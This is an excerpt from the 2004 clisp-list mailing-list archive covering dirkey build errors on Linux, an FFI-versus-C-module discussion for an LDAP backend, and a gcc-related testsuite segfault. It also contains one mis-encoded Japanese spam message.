dirkey.c:541: error: `DWORD' undeclared (first use in this function) dirkey.c:541: error: `HKEY' undeclared (first use in this function) dirkey.c:541: error: `status' undeclared (first use in this function) dirkey.c:541: error: `hkey' undeclared (first use in this function) dirkey.c:541: error: `n_obj' undeclared (first use in this function) dirkey.c:541: error: `maxlen' undeclared (first use in this function) dirkey.c:541: error: `ERROR_SUCCESS' undeclared (first use in this function) dirkey.c:541: error: parse error before "len" dirkey.c:541: warning: implicit declaration of function `RegEnumValue' dirkey.c:541: error: `len' undeclared (first use in this function) dirkey.c: In function `init_iteration_node': dirkey.c:650: warning: implicit declaration of function `open_reg_key' dirkey.c:650: error: `HKEY' undeclared (first use in this function) dirkey.c:650: error: parse error before ')' token dirkey.c:652: error: `DWORD' undeclared (first use in this function) dirkey.c:652: error: parse error before "k_size" dirkey.c:653: warning: implicit declaration of function `SYSCALL_WIN32' dirkey.c:653: error: `k_size' undeclared (first use in this function) dirkey.c:654: error: `a_size' undeclared (first use in this function) dirkey.c:654: error: `d_size' undeclared (first use in this function) dirkey.c: In function `state_next_key': dirkey.c:682: error: `DWORD' undeclared (first use in this function) dirkey.c:682: error: parse error before "status" dirkey.c:684: error: `status' undeclared (first use in this function) dirkey.c:684: error: `ERROR_SUCCESS' undeclared (first use in this function) dirkey.c:688: warning: implicit declaration of function `RegCloseKey' dirkey.c:688: error: `HKEY' undeclared (first use in this function) dirkey.c: In function `C_subr_ldap_dkey_search_next_att': dirkey.c:760: error: `DWORD' undeclared (first use in this function) dirkey.c:760: error: parse error before "type" dirkey.c:766: error: `status' undeclared (first use in this function) dirkey.c:766: error: `ERROR_SUCCESS' undeclared (first use in this function) dirkey.c:769: warning: implicit declaration of function `registry_value_to_object' dirkey.c:769: error: `type' undeclared (first use in this function) dirkey.c:769: error: `size' undeclared (first use in this function) dirkey.c:769: warning: assignment makes pointer from integer without a cast dirkey.c: In function `C_subr_ldap_dir_key_value': dirkey.c:825: error: `DWORD' undeclared (first use in this function) dirkey.c:825: error: parse error before "status" dirkey.c:825: error: `HKEY' undeclared (first use in this function) dirkey.c:825: error: parse error before "hk" dirkey.c:825: error: `status' undeclared (first use in this function) dirkey.c:825: warning: implicit declaration of function `RegQueryValueEx' dirkey.c:825: error: `hk' undeclared (first use in this function) dirkey.c:825: error: `size' undeclared (first use in this function) dirkey.c:825: error: `ERROR_SUCCESS' undeclared (first use in this function) dirkey.c:825: error: `ERROR_FILE_NOT_FOUND' undeclared (first use in this function) dirkey.c:825: error: `type' undeclared (first use in this function) dirkey.c:825: error: `BYTE' undeclared (first use in this function) dirkey.c:825: error: parse error before ')' token dirkey.c:825: warning: assignment makes pointer from integer without a cast dirkey.c: In function `C_subr_ldap_set_dkey_value': dirkey.c:836: error: `HKEY' undeclared (first use in this function) dirkey.c:836: error: parse error before "hk" dirkey.c:859: warning: implicit declaration of function `RegSetValueEx' dirkey.c:859: error: `hk' undeclared (first use in this function) dirkey.c:859: error: `REG_SZ' undeclared (first use in this function) dirkey.c:859: error: `BYTE' undeclared (first use in this function) dirkey.c:859: error: parse error before ')' token dirkey.c:859: error: `DWORD' undeclared (first use in this function) dirkey.c:859: error: parse error before "word" dirkey.c:859: error: `REG_DWORD' undeclared (first use in this function) dirkey.c:859: error: parse error before ')' token dirkey.c:859: error: `word' undeclared (first use in this function) dirkey.c:859: error: `REG_BINARY' undeclared (first use in this function) dirkey.c: In function `C_subr_ldap_dir_key_subkey_delete': dirkey.c:875: warning: implicit declaration of function `RegDeleteKey' dirkey.c:875: error: `HKEY' undeclared (first use in this function) dirkey.c: In function `C_subr_ldap_dir_key_value_delete': dirkey.c:879: warning: implicit declaration of function `RegDeleteValue' dirkey.c:879: error: `HKEY' undeclared (first use in this function) dirkey.c: In function `C_subr_ldap_dkey_info': dirkey.c:890: error: `HKEY' undeclared (first use in this function) dirkey.c:890: error: parse error before "hkey" dirkey.c:892: error: `DWORD' undeclared (first use in this function) dirkey.c:892: error: parse error before "class_length" dirkey.c:900: error: `FILETIME' undeclared (first use in this function) dirkey.c:901: error: `hkey' undeclared (first use in this function) dirkey.c:901: error: `class_length' undeclared (first use in this function) dirkey.c:908: error: `num_sub_keys' undeclared (first use in this function) dirkey.c:908: error: `max_sub_key_length' undeclared (first use in this function) dirkey.c:909: error: `max_class_length' undeclared (first use in this function) dirkey.c:910: error: `num_values' undeclared (first use in this function) dirkey.c:910: error: `max_value_name_length' undeclared (first use in this function) dirkey.c:911: error: `max_value_length' undeclared (first use in this function) dirkey.c:912: error: `security_descriptor' undeclared (first use in this function) dirkey.c:913: error: `write_time' undeclared (first use in this function) dirkey.c:926: warning: implicit declaration of function `to_time_t_' make[1]: *** [dirkey.o] Error 1 make[1]: Leaving directory `/local/src/clisp-2.32/src/dirkey' make: *** [dirkey] Error 2 -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Fri Feb 13 05:27:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArdLc-0006wG-Sz for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 05:27:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1ArdH1-0004LO-EC for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 05:22:27 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1DDP2ex022684; Fri, 13 Feb 2004 08:25:07 -0500 (EST) To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040213082645.56BEA3F81A@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 13 Feb 2004 09:26:45 +0100 (CET)") References: <20040213082645.56BEA3F81A@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dirkey on linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 13 05:28:02 2004 X-Original-Date: Fri, 13 Feb 2004 08:25:02 -0500 > * Pascal J.Bourguignon [2004-02-13 09:26:45 +0100]: > > I can't compile clisp-2.32 with dirkey. It insists on including and > using MS-Windows stuff... the only dirkey type supported at this time is :win32. gnome-config and ldap have not been implemented yet. would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) running w2k Programming is like sex: one mistake and you have to support it for a lifetime. From pascal@informatimago.com Fri Feb 13 06:42:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AreVz-00045b-Uh for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 06:41:59 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AreRJ-0007R0-Ne for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 06:37:10 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 0DAC9586E2; Fri, 13 Feb 2004 15:40:00 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 9FB013F85B; Fri, 13 Feb 2004 15:41:07 +0100 (CET) Message-ID: <16428.57859.601275.675990@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20040213082645.56BEA3F81A@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dirkey on linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 13 06:42:04 2004 X-Original-Date: Fri, 13 Feb 2004 15:41:07 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-02-13 09:26:45 +0100]: > > > > I can't compile clisp-2.32 with dirkey. It insists on including and > > using MS-Windows stuff... > > the only dirkey type supported at this time is :win32. > gnome-config and ldap have not been implemented yet. > would you like to work on this? On OpenLDAP, probably! But I'm wondering if a module is needed. I'd rather do it with FFI or UFFI to the OpenLDAP library. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Fri Feb 13 06:57:18 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Areko-0007t8-0n for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 06:57:18 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Arej2-0001Yv-5O for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 06:55:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1DEtDex019361; Fri, 13 Feb 2004 09:55:13 -0500 (EST) To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16428.57859.601275.675990@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 13 Feb 2004 15:41:07 +0100") References: <20040213082645.56BEA3F81A@thalassa.informatimago.com> <16428.57859.601275.675990@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dirkey on linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 13 06:58:03 2004 X-Original-Date: Fri, 13 Feb 2004 09:55:13 -0500 > * Pascal J.Bourguignon [2004-02-13 15:41:07 +0100]: > > Sam Steingold writes: >> > * Pascal J.Bourguignon [2004-02-13 09:26:45 +0100]: >> > >> > I can't compile clisp-2.32 with dirkey. It insists on including and >> > using MS-Windows stuff... >> >> the only dirkey type supported at this time is :win32. >> gnome-config and ldap have not been implemented yet. >> would you like to work on this? > > On OpenLDAP, probably! good! > But I'm wondering if a module is needed. I think that LDAP API is insufficiently Lispy, so C glue will be needed. > I'd rather do it with FFI or C module is faster than FFI. My rule of thumb is that when you have zillions of functions each of which will be called infrequently, one should use FFI (e.g., clisp/modules/bindings/glibc), but when you have relatively few functions which will be called over and over again, it pays to write a C module (like LDAP). Another important consideration is that C module approach is more robust. E.g., if the C library to which you are interfacing changes a struct layout of a #define value, a C module would need to be recompiled - but the FFI module will require source code modifications to reflect the changes. > UFFI to the OpenLDAP library. UFFI does not support CLISP. Would you like to work on that too? (UFFI takes priority over dirkey!) -- Sam Steingold (http://www.podval.org/~sds) running w2k Life is like a diaper -- short and loaded. From pascal@informatimago.com Fri Feb 13 07:03:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Arer8-0001WH-Ph for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 07:03:50 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AremQ-0002EQ-Ms for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 06:58:59 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id CF54F586E2; Fri, 13 Feb 2004 16:01:57 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B5ED33F85A; Fri, 13 Feb 2004 16:03:05 +0100 (CET) Message-ID: <16428.59177.687314.689061@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20040213082645.56BEA3F81A@thalassa.informatimago.com> <16428.57859.601275.675990@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dirkey on linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 13 07:04:07 2004 X-Original-Date: Fri, 13 Feb 2004 16:03:05 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-02-13 15:41:07 +0100]: > > > > Sam Steingold writes: > >> > * Pascal J.Bourguignon [2004-02-13 09:26:45 +0100]: > >> > > >> > I can't compile clisp-2.32 with dirkey. It insists on including and > >> > using MS-Windows stuff... > >> > >> the only dirkey type supported at this time is :win32. > >> gnome-config and ldap have not been implemented yet. > >> would you like to work on this? > > > > On OpenLDAP, probably! > good! > > > But I'm wondering if a module is needed. > > I think that LDAP API is insufficiently Lispy, so C glue will be needed. > > > I'd rather do it with FFI or > > C module is faster than FFI. > My rule of thumb is that when you have zillions of functions each of > which will be called infrequently, one should use FFI (e.g., > clisp/modules/bindings/glibc), but when you have relatively few > functions which will be called over and over again, it pays to write a C > module (like LDAP). > > Another important consideration is that C module approach is more > robust. E.g., if the C library to which you are interfacing changes a > struct layout of a #define value, a C module would need to be > recompiled - but the FFI module will require source code modifications > to reflect the changes. But an important (to me) considation is that a FFI based solution is written in Lisp :-) while a module is written in C :-(. > > UFFI to the OpenLDAP library. > > UFFI does not support CLISP. > Would you like to work on that too? > (UFFI takes priority over dirkey!) I already started to implement a UFFI package over FFI. An important part that is missing is dlopen et al. Reading the documentation of SYS::DYNLOAD-MODULES I got the impression that it would not serve to load random libraries. I guess a dl module would be in order. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Fri Feb 13 07:32:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArfJ5-0002gX-OA for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 07:32:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1ArfHH-0007Sd-RG for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 07:30:52 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1DFUXex003216; Fri, 13 Feb 2004 10:30:33 -0500 (EST) To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16428.59177.687314.689061@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 13 Feb 2004 16:03:05 +0100") References: <20040213082645.56BEA3F81A@thalassa.informatimago.com> <16428.57859.601275.675990@thalassa.informatimago.com> <16428.59177.687314.689061@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dirkey on linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 13 07:33:03 2004 X-Original-Date: Fri, 13 Feb 2004 10:30:32 -0500 > * Pascal J.Bourguignon [2004-02-13 16:03:05 +0100]: > > But an important (to me) considation is that a FFI based solution is > written in Lisp :-) while a module is written in C :-(. I understand this. Unfortunately, DTRT sometimes requires doing some C. It's not hard, trust me. >> > UFFI to the OpenLDAP library. >> >> UFFI does not support CLISP. >> Would you like to work on that too? >> (UFFI takes priority over dirkey!) > > I already started to implement a UFFI package over FFI. An important > part that is missing is dlopen et al. Reading the documentation of > SYS::DYNLOAD-MODULES I got the impression that it would not serve to > load random libraries. I guess a dl module would be in order. see FFI::FOREIGN-LIBRARY (clisp/src/foreign.d) and DEF-C-VAR & DEF-CALL-OUT :LIBRARY options. -- Sam Steingold (http://www.podval.org/~sds) running w2k If you think big enough, you'll never have to do it. From jpawelw@uni.wroc.pl Sat Feb 14 13:32:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1As7Oy-0005PM-B8 for clisp-list@lists.sourceforge.net; Sat, 14 Feb 2004 13:32:40 -0800 Received: from pd149.wroclaw.cvx.ppp.tpnet.pl ([213.76.90.149] helo=golem2.dom ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1As7IR-00007E-SP for clisp-list@lists.sourceforge.net; Sat, 14 Feb 2004 13:25:56 -0800 Received: from localhost (jpawelw@localhost) by golem2.dom (8.11.4/8.11.4) with ESMTP id i1EMtbo19873 for ; Sat, 14 Feb 2004 23:55:38 +0100 X-Authentication-Warning: golem2.dom: jpawelw owned process doing -bs From: Jan Pawel Woronczak X-X-Sender: To: clisp-list Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] make testsuite fail in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 14 13:33:02 2004 X-Original-Date: Sat, 14 Feb 2004 23:55:34 +0100 (CET) Hello! Trying to compile clisp 2.32 (on Slackware Linux 8.0, with gcc 2.95 and glibc 2.2.3), I've encountered a following problem: after (finally) successful configuration/compilation (many warnings about void pointers used in arithmetics and (ab)using of registers by more global variables) 'make test' succeedes, but 'make testsuite' fails in the middle of exceptsit.tst, particularly on: (print 1 2) i.e. line 875, with output: *** - handle_fault error1 ! address = 0x10a not in [0x20210000,0x2031efe8) SIGSEGV cannot be cured. Fault address = 0x10a Trying to feed newly-compiled clisp 2.32 with (print 1 2) leads to similar fault (only upper address in different). Trying (print 1 2) on clisp 2.30 compiled earlier on the same Linux leads to error message only. With regards Jan Pawel Woronczak Wroclaw, Poland From sds@gnu.org Sat Feb 14 17:35:12 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AsBBg-0003r0-QG for clisp-list@lists.sourceforge.net; Sat, 14 Feb 2004 17:35:12 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AsB94-0000sI-Hp for clisp-list@lists.sourceforge.net; Sat, 14 Feb 2004 17:32:30 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AsB92-0005MO-00; Sat, 14 Feb 2004 20:32:28 -0500 To: clisp-list@lists.sourceforge.net, Jan Pawel Woronczak Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Jan Pawel Woronczak's message of "Sat, 14 Feb 2004 23:55:34 +0100 (CET)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Jan Pawel Woronczak Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: make testsuite fail in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 14 17:36:00 2004 X-Original-Date: Sat, 14 Feb 2004 20:32:25 -0500 > * Jan Pawel Woronczak [2004-02-14 23:55:34 +0100]: > > Trying to compile clisp 2.32 (on Slackware Linux 8.0, with gcc 2.95 > and glibc 2.2.3), I've encountered a following problem: > > after (finally) successful configuration/compilation (many warnings about > void pointers used in arithmetics and (ab)using of registers by more > global variables) 'make test' succeedes, but 'make testsuite' fails in the > middle of exceptsit.tst, particularly on: (print 1 2) i.e. line 875, with > output: > > *** - handle_fault error1 ! address = 0x10a not in [0x20210000,0x2031efe8) > SIGSEGV cannot be cured. Fault address = 0x10a > > Trying to feed newly-compiled clisp 2.32 with (print 1 2) leads to similar > fault (only upper address in different). this is a known problem with this gcc version. Please upgrade to gcc 3 -- Sam Steingold (http://www.podval.org/~sds) running w2k Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From hh010722@yahoo.co.jp Sun Feb 15 06:47:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AsNYf-0003g5-SF for clisp-list@lists.sourceforge.net; Sun, 15 Feb 2004 06:47:45 -0800 Received: from r02-a07-d1.data-hotel.net ([203.174.77.8]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AsNVj-0007uK-B3 for clisp-list@lists.sourceforge.net; Sun, 15 Feb 2004 06:44:43 -0800 Received: (qmail 99680 invoked from network); 15 Feb 2004 23:24:45 +0900 Received: from unknown (HELO n4a1g3) (43.244.15.216) by 0 with SMTP; 15 Feb 2004 23:24:45 +0900 To: clisp-list@lists.sourceforge.net X-Mailer: Easy DM free Message-ID: <20040215.1424410146@hh010722-yahoo.co.jp> From: deai MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] =?ISO-2022-JP?B?IBskQiFWGyhCKBskQkwkPjVCeiEhOS05cCF2IUshV0Q+GyhC?= =?ISO-2022-JP?B?GyRCJSIlSTh4MyslNSUkJUgkIiRqIUohMCFdITAhSxsoQg==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 15 06:48:06 2004 X-Original-Date: Sun, 15 Feb 2004 23:24:41 +0900 $BL5NA%]%$%s%H$@$1$G=P2q$($k%5%$%H$P$+$j=8$a$^$7$?!#D>%"%I$GB(2q$($k%9!{%?!{$b$"$j$^$9!#(B $B$3$3$G$$$$=P2q$$$r$_$D$1$F$/$@$5$$!#(B ************************************* http://deaimax.k-free.net/ ************************************* $BH`;a$rC5$7$F$k=w@-$O$3$3$G#G#E#T!*CK=w$H$b40A4L5NA$@$h!*(B $B$*6b$O0l@Z$+$+$j$^$;$s!#(B ********************************************** http://deaimax.k-free.net/kare.html ********************************************** $B7c0B7HBS%"%I%l%9$NHNGd$7$^$9!*(B 1$B7o(B0.2$B$H#21_$,$"$j$^$9!#(Bdocomo,au,vodofone $B$=$m$($F$^$9!#(B ********************************************* http://deaimax.k-free.net/ado.html ********************************************* $B%5%i6b!"8=>u$K:$$C$F$$$kJ}!">/$7$-$D$$J}!"7h$7$F6bM;$K$O$N>l9g$O(B $B7oL>$rJQ$($:$=$N$^$^Aw?.$7$F$/$@$5$$!#(B $B#2EY$H$3$N$h$&$J%a!<%k$OAw$j$^$;$s!#(B mailto:mail_ng_stop@yahoo.co.jp?subject=ng =============================== From Joerg-Cyril.Hoehle@t-systems.com Mon Feb 16 00:47:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AsePK-0007hk-Bx for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 00:47:14 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AseLw-0006GO-8S for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 00:43:44 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; 